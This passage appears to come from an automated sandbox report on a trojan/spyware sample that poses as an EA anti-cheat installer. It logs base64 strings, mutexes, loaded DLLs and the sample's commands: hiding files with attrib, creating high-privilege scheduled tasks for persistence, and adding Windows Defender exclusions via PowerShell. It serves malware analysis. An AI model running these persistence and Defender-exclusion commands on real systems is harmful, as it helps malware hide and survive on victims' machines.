SYwhbD2N7XLgnSQd5Y+80TR7FUiye/k3D37fI9PRhSQGbfYFRQQTmxj84dPTnY5CVgaY9d8fNiFZkyjaZdf+mibK0xQTf+xLVVj+toDNCkc1F462TdmFhCrHd4PoMo0yLDNv4SC6NLRq4haWDRtORw6gd5GYIoCQ3m3oQvNlNxXhhIjsOyxkxOrkCD0c+57PIc7EmKXieJa/XxnkcIVxO8dvTY/vijuz/VaZYl/lPu9ckuqgJ1wRvvsHl70Trv4Mn4X5uCIqRFFlK/mSOZbLIguGkDN3QIZABvej89vlZMhrVfZOG2oawe23FskHjv7thF/WzOXtWw6RUVC1V+hCwbuxFNUjZmmOTUwdXHnus7I2AuiG6Jz1+y9aYiXBcVTdSljxjHRRmiRaAnY94h58vN8NJ4hKL2GVCo6LxkpuplmcntJN0cKraKTPxSXcCRrqWxX9qoIbfvBcUU4vH1jPJCCLNCuDyD3lgQkpPVvq0EMU1a2HFGgMEQMjpYpb38rcadDhT5ag==', 'gcNMT5J3vCu7nOJR1C15TWa5Qxg+cCorVHQ5w+nihL18yqslBQr2qDjolRI09gqn0uBsefTo2riIyOVTzVAMxrX/7xIklv1VQ89AbSzQjLeVfnzlfmUjY91fRA5Vv7hLEUpUeKBUn+8NY5V0KSLEU5HWbIafwWKgDqlC0Rk3dNU=', 'XX4Iz5kAK/EAkTqnGs7iFMG9nBFshn90zyvdo/rg7Bn+3lPgEwqvKSsalPTz/JNq'
Source: $77EAAntiCheat.Installler.exe.0.dr, Installation.cs	Base64 encoded string: 'YuiIb0bvpOW/HwRCrl07ZyLIxUPAoAy0/EE6+OB0IBiLlp486XC9OZHtGsiixnNW'
Source: $77EAAntiCheat.Installler.exe.0.dr, MessageRead.cs	Base64 encoded string: 'YuiIb0bvpOW/HwRCrl07ZyLIxUPAoAy0/EE6+OB0IBhStm9RR7V2byuc2qvN4qWd'

Source: $77EAAntiCheat.Installler.exe.0.dr, GetInformationOS.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: $77EAAntiCheat.Installler.exe.0.dr, GetInformationOS.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: Xyq6rvzLJs.exe, GetInformationOS.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: Xyq6rvzLJs.exe, GetInformationOS.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: $77EAAntiCheat.Installler.exe.0.dr, Installation.cs	Security API names: File.GetAccessControl
Source: $77EAAntiCheat.Installler.exe.0.dr, Installation.cs	Security API names: File.SetAccessControl
Source: $77EAAntiCheat.Installler.exe.0.dr, Installation.cs	Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: Xyq6rvzLJs.exe, Installation.cs	Security API names: File.GetAccessControl
Source: Xyq6rvzLJs.exe, Installation.cs	Security API names: File.SetAccessControl
Source: Xyq6rvzLJs.exe, Installation.cs	Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@32/10@3/2

Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe

File created: C:\Users\user\AppData\Roaming\EA

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6648:120:WilError_03
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Mutant created: \Sessions\1\BaseNamedObjects\lAxDBRhAFu
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5988:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1776:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6200:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2968:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1272:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2944:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6640:120:WilError_03

Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe

File created: C:\Users\user\AppData\Local\Temp\tmpF224.tmp

Jump to behavior

Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\tmpF224.tmp.bat""

Source: Xyq6rvzLJs.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Xyq6rvzLJs.exe

ReversingLabs: Detection: 63%

Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe

File read: C:\Users\user\Desktop\Xyq6rvzLJs.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Xyq6rvzLJs.exe "C:\Users\user\Desktop\Xyq6rvzLJs.exe"
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Process created: C:\Windows\System32\attrib.exe "C:\Windows\System32\attrib.exe" +s +h "C:\Users\user\AppData\Roaming\EA"
Source: C:\Windows\System32\attrib.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Process created: C:\Windows\System32\attrib.exe "C:\Windows\System32\attrib.exe" +s +h "C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe"
Source: C:\Windows\System32\attrib.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\tmpF224.tmp.bat""
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 3
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe "C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe"
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /query /TN $77EAAntiCheat.Installler.exe
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /Create /SC ONCE /TN "$77EAAntiCheat.Installler.exe" /TR "C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe \"\$77EAAntiCheat.Installler.exe\" /AsAdmin" /ST 00:01 /IT /F /RL HIGHEST
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /query /TN $77EAAntiCheat.Installler.exe
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionExtension exe,bat,dll,ps1;exit
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /sc daily /tn "EAAntiCheat.Installler_Task-DAILY-21PM" /TR "%MyFile%" /ST 21:00
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe "\$77EAAntiCheat.Installler.exe" /AsAdmin
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Process created: C:\Windows\System32\attrib.exe "C:\Windows\System32\attrib.exe" +s +h "C:\Users\user\AppData\Roaming\EA"	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Process created: C:\Windows\System32\attrib.exe "C:\Windows\System32\attrib.exe" +s +h "C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\tmpF224.tmp.bat""	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout 3	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe "C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /query /TN $77EAAntiCheat.Installler.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /Create /SC ONCE /TN "$77EAAntiCheat.Installler.exe" /TR "C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe \"\$77EAAntiCheat.Installler.exe\" /AsAdmin" /ST 00:01 /IT /F /RL HIGHEST	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /query /TN $77EAAntiCheat.Installler.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionExtension exe,bat,dll,ps1;exit	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /sc daily /tn "EAAntiCheat.Installler_Task-DAILY-21PM" /TR "%MyFile%" /ST 21:00	Jump to behavior

Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Xyq6rvzLJs.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
